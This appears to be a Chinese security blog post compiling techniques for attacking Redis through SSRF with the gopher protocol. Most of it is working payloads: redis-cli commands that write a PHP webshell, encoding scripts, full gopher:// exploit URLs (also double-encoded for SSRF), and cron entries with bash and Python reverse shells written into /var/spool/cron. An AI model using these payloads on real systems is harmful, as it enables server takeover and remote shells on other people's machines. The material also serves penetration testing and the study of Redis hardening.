Orange在BH大会的paper上面这么说的:
Protocols that are suitable to smuggle
HTTP based protocol:
Elastic, CouchDB, Mongodb, Docker
Text-based protocol:
FTP, SMTP, Redis, Memcached
Ph在文章里面也提到过,redis的协议是简单的协议流,关于这一点可以查看redis的官方解释:https://redis.io/topics/protocol
在长亭的这篇文章使用gopher攻击redis的流程是这样的(ricterz大大这里没截图):
0x01. redis-server启动的时候监听6378端口: redis-server /etc/redis/redis.conf --port 6378
0x02. 运行 socat -v tcp-listen:6379,fork tcp-connetc:localhost:6378(相当于6379和6378建立一个tcp隧道,而redis-server监听的是6378端口)
0x03. 然后使用redis-cli攻击redis,使用socat来抓取攻击的payload
测试redis版本: 2.8.4(新版改了)
使用redis-server来写shell是这样的步骤:
redis-cli -h 127.0.0.1 flushall
redis-cli -h 127.0.0.1 config set dir /var/www
redis-cli -h 127.0.0.1 config set dbfilename shell.php
redis-cli -h 127.0.0.1 set webshell "<?php phpinfo();?>"
redis-cli -h 127.0.0.1 save
在socat可以得到以下数据流(取其中一部分):
可以显然看到,每行都是以\r
结尾的,这里redis的协议是以CRLF结尾(官方文档):
Additionally RESP is able to represent a Null value using a special variation of Bulk Strings or Array as specified later.
In RESP different parts of the protocol are always terminated with "\r\n" (CRLF).
所以,在转换的时候,要把\r
转换为%0d%0a
,提取其中的payload:
*1\r
$8\r
flushall\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$8\r
/var/www\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$9\r
shell.php\r
*3\r
$3\r
set\r
$3\r
web\r
$18\r
<?php phpinfo();?>\r
*1\r
$4\r
save\r
参考joychou写cron的脚本转换,python转换脚本如下:
f = open('payload.txt', 'r')
s = ''
for line in f.readlines():
line = line.replace(r"\r", "%0d%0a")
line = line.replace("\n", '')
s = s + line
print s.replace("$", "%24")
如上的写shell数据流经过编码如下(注意php一句话,经过上面转换还是尖括号,但是使用curl发送的时候要把一句话的两个尖括号和;
和?
url编码,然后使用curl直接发送如下,我也不知道为啥$
还要编码,知道的同学请告知,谢谢):
curl -v "gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%248%0d%0a/var/www%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%249%0d%0ashell.php%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%243%0d%0aweb%0d%0a%2418%0d%0a%3C%3Fphp phpinfo()%3B%3F%3E%0d%0a*1%0d%0a%244%0d%0asave%0d%0a"
然后上面的payload在存在ssrf的时候,使用发送之前要再url编码一次,发送即可得到shell。
gopher%3A%2F%2F127.0.0.1%3A6378%2F_*1%250d%250a%25248%250d%250aflushall%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250adir%250d%250a%25248%250d%250a%2Fvar%2Fwww%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%252410%250d%250adbfilename%250d%250a%25249%250d%250ashell.php%250d%250a*3%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250aweb%250d%250a%252418%250d%250a%253C%253Fphp%20phpinfo()%253B%253F%253E%250d%250a*1%250d%250a%25244%250d%250asave%250d%250a
测试环境:
ubuntu 14.04.5 LTS
CentOS 6.7
在两个系统下直接crontab -e编辑定时任务:
*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1
在ubuntu下不会反弹成功,CentOS可以反弹成功。
*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
ubuntu和Linux均反弹成功。
使用上面两个payload,注意这里定时任务需要加user
*/1 * * * * root bash -i >& /dev/tcp/127.0.0.1/2333 0>&1
在ubuntu下,bash反弹失败,python反弹成功。
在CentOS下,两个均成功。
同样使用上面两个payload反弹shell:
在Ubuntu下,两个均失败。
在CentOS下,两个均成功。
(Centos默认没有这个路径),所以这个是ubuntu测试:
bash反弹失败
python反弹成功
综合以上来说:
Centos的定式任务在/var/spool/cron/root
Ubuntu定时任务/var/spool/cron/crontabs/root
https://joychou.org/web/hackredis-enhanced-edition-script.html相当于恬不知耻的复制了大佬的文章。
另外测试redis里面写shell,由于使用redis写crontab的时候,创建的文件权限是644,ubuntu无法执行,
写入/etc/crontab的时候,由于存在乱码,所以会导致ubuntu不能正确识别,导致定时任务失败。
/etc/crontab
,由于存在乱码,语法不识别,会导致ubuntu不能正确识别,导致定时任务失败。/var/spool/cron/crontabs/root
,权限是644,ubuntu不能运行。所以ubuntu下使用redis写crontab是无法成功反弹shell的。
如果只能写文件,想写crontab反弹shell,对于CentOS系来说:
/etc/crontab
文件下面这个是从https://joychou.org/web/phpssrf.html这里搬来的代码,出来的结果,同样需要对其中的$
编码:
#coding: utf-8
#author: JoyChou
import sys
exp = ''
with open('/Users/xxx/Desktop/1.txt') as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r':
# 如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print exp.replace('$', '%24')
攻击的时候时候,使用的是这样的exp:
config set dir /var/spool/cron
config set dbfilename root
set www "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n"
save
经过编码之后,得到的exp:
gopher://127.0.0.1:6379/_*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2415%0d%0a/var/spool/cron%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%244%0d%0aroot%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%243%0d%0awww%0d%0a%2455%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0d%0a*1%0d%0a%244%0d%0asave%0d%0a
如果存在ssrf,可以攻击redis,上面exp的再经过http编码即可攻击成功。
感谢以下各位大神的博客,这文章基本是东搬一点,西挪一点,算是一个总结。文章里面如果有什么问题,请各位表哥拍砖 。=。